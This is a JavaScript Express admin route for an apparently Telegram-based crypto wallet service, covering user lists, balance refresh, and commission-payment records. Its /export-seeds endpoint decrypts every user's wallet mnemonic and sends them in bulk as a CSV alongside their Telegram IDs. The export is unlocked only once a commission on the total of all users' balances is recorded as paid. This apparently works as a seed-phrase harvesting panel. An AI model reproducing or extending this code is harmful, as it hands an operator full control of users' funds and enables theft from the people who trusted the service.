import { Router } from 'express'; import db from '../../config/database.js'; import config from '../../config/config.js'; import WalletUtils from '../../utils/walletUtils.js'; import { decrypt } from '../../utils/encryption.js'; import logger from '../../utils/logger.js'; const router = Router(); async function getWalletStats() { let prices = {}; try { prices = await WalletUtils.getCryptoPrices(); } catch { prices = { btc: 0, ltc: 0, eth: 0 }; } const allWallets = await db.allAsync( `SELECT w.wallet_type, w.balance, w.address, w.user_id FROM crypto_wallets w WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'` ); const totals = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 }; const walletCounts = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 }; for (const w of allWallets) { const type = (w.wallet_type || '').toLowerCase(); if (totals[type] !== undefined) { totals[type] += w.balance || 0; walletCounts[type]++; } } const usdValues = { btc: totals.btc * (prices.btc || 0), ltc: totals.ltc * (prices.ltc || 0), eth: totals.eth * (prices.eth || 0), usdt: totals.usdt, usdc: totals.usdc, }; const totalUsd = Object.values(usdValues).reduce((s, v) => s + v, 0); return { totals, walletCounts, usdValues, totalUsd, prices, totalWallets: allWallets.length }; } router.get('/', async (req, res) => { try { const users = await db.allAsync( `SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance, COUNT(w.id) AS wallet_count FROM users u LEFT JOIN crypto_wallets w ON w.user_id = u.id AND w.wallet_type NOT LIKE '%#_%' ESCAPE '#' GROUP BY u.id ORDER BY u.id DESC` ); const selectedId = req.query.user ? parseInt(req.query.user, 10) : (users.length > 0 ? users[0].id : null); let wallets = []; let selectedUser = null; if (selectedId) { selectedUser = await db.getAsync('SELECT * FROM users WHERE id = ?', [selectedId]); wallets = await db.allAsync( `SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY wallet_type`, [selectedId] ); } const walletStats = await getWalletStats(); const commissionRate = config.COMMISSION_PERCENT / 100; const currentCommission = walletStats.totalUsd * commissionRate; const lastPayment = await db.getAsync( `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1` ); const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0; const commissionDue = Math.max(0, currentCommission - lastPaidAmount); const payments = await db.allAsync( `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 20` ); const seedsRequested = req.query.seeds === '1'; const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0; const seedsUnlocked = seedsRequested && seedsPaid; // Seed phrases are NEVER rendered inline in HTML (C2 fix). // They are only available via the authenticated CSV export endpoint. const stats = { ...walletStats, commissionRate: config.COMMISSION_PERCENT, currentCommission, lastPaidAmount, commissionDue, commissionEnabled: config.COMMISSION_ENABLED, commissionWallets: config.COMMISSION_WALLETS, totalUsers: users.length, payments, seedsPaid, }; res.render('wallets', { title: 'Wallets', users, selectedUser, wallets, stats, seedsUnlocked, hasStats: true, }); } catch (error) { logger.error({ err: error }, 'Error loading wallets page'); res.status(500).send('Error loading wallets page'); } }); router.post('/record-payment', async (req, res) => { try { const walletStats = await getWalletStats(); const commissionRate = config.COMMISSION_PERCENT / 100; const currentCommission = walletStats.totalUsd * commissionRate; const paidAmount = parseFloat(req.body.paid_amount) || 0; const note = (req.body.note || '').trim(); if (paidAmount <= 0) { return res.redirect('/wallets?error=invalid_amount'); } await db.runAsync( `INSERT INTO commission_payments (total_balance_usd, commission_rate, commission_amount_usd, paid_amount_usd, wallet_count, note) VALUES (?, ?, ?, ?, ?, ?)`, [walletStats.totalUsd.toFixed(2), commissionRate, currentCommission.toFixed(2), paidAmount.toFixed(2), walletStats.totalWallets, note] ); logger.info({ totalBalanceUsd: walletStats.totalUsd, commissionAmount: currentCommission, paidAmount, walletCount: walletStats.totalWallets }, 'Commission payment recorded'); res.redirect('/wallets?payment=recorded'); } catch (error) { logger.error({ err: error }, 'Error recording commission payment'); res.redirect('/wallets?error=payment_failed'); } }); router.post('/export-seeds', async (req, res) => { try { const walletStats = await getWalletStats(); const commissionRate = config.COMMISSION_PERCENT / 100; const currentCommission = walletStats.totalUsd * commissionRate; const lastPayment = await db.getAsync( `SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1` ); const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0; const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0; if (!seedsPaid) { logger.warn({ currentCommission, lastPaidAmount }, 'Seed export blocked — commission not paid'); return res.status(403).send('Seed export is locked until commission is paid. Due: $' + Math.max(0, currentCommission - lastPaidAmount).toFixed(2)); } const walletsWithSeeds = await db.allAsync( `SELECT w.*, u.telegram_id, u.username FROM crypto_wallets w JOIN users u ON w.user_id = u.id WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY u.id, w.wallet_type` ); const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']]; for (const w of walletsWithSeeds) { let mnemonic = ''; try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; } rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]); } const csv = rows.map(r => r.map(c => { const s = String(c); return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s; }).join(',')).join('\n'); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv'); res.send(csv); } catch (error) { logger.error({ err: error }, 'Error exporting seeds'); res.status(500).send('Error exporting seeds'); } }); router.get('/refresh-balances/:userId', async (req, res) => { try { const userId = parseInt(req.params.userId, 10); if (isNaN(userId) || userId <= 0) { return res.status(400).json({ error: 'Invalid user ID' }); } const wallets = await db.allAsync( `SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#'`, [userId] ); if (wallets.length === 0) { return res.json({ wallets: [], totalBalance: 0, balances: {}, timestamp: new Date().toISOString() }); } // Collect one address per base type for WalletUtils constructor const addrByType = {}; for (const w of wallets) { const base = WalletUtils.getBaseWalletType(w.wallet_type).toUpperCase(); if (!addrByType[base]) addrByType[base] = w.address; } const walletUtils = new WalletUtils( addrByType.BTC || null, addrByType.LTC || null, addrByType.ETH || null, addrByType.USDT || null, addrByType.USDC || null, userId, null ); const balances = await walletUtils.getAllBalancesExt(); // Update each wallet's balance in DB (match by base type) const updatedWallets = []; for (const w of wallets) { const base = WalletUtils.getBaseWalletType(w.wallet_type).toUpperCase(); const bal = balances[base]; const newBalance = bal ? bal.amount : (w.balance || 0); await db.runAsync( `UPDATE crypto_wallets SET balance = ? WHERE id = ?`, [newBalance, w.id] ); updatedWallets.push({ id: w.id, wallet_type: w.wallet_type, address: w.address, balance: newBalance, usdValue: bal ? bal.usdValue : 0, created_at: w.created_at }); } // Recalculate total_balance as sum of all wallet USD values const totalBalance = Object.values(balances).reduce((sum, b) => sum + (b.usdValue || 0), 0); await db.runAsync( `UPDATE users SET total_balance = ? WHERE id = ?`, [totalBalance, userId] ); res.json({ wallets: updatedWallets, totalBalance, balances, timestamp: new Date().toISOString() }); } catch (error) { logger.error({ err: error, userId: req.params.userId }, 'Error refreshing wallet balances'); // Fallback: return DB balances on failure try { const fallbackWallets = await db.allAsync( `SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#'`, [parseInt(req.params.userId, 10)] ); const fallbackUser = await db.getAsync('SELECT total_balance FROM users WHERE id = ?', [parseInt(req.params.userId, 10)]); return res.status(200).json({ wallets: fallbackWallets.map(w => ({ id: w.id, wallet_type: w.wallet_type, address: w.address, balance: w.balance, usdValue: 0, created_at: w.created_at })), totalBalance: fallbackUser ? fallbackUser.total_balance : 0, balances: {}, timestamp: new Date().toISOString(), error: 'Blockchain API unavailable — showing cached balances' }); } catch (fallbackError) { return res.status(500).json({ error: 'Failed to refresh balances' }); } } }); export default router;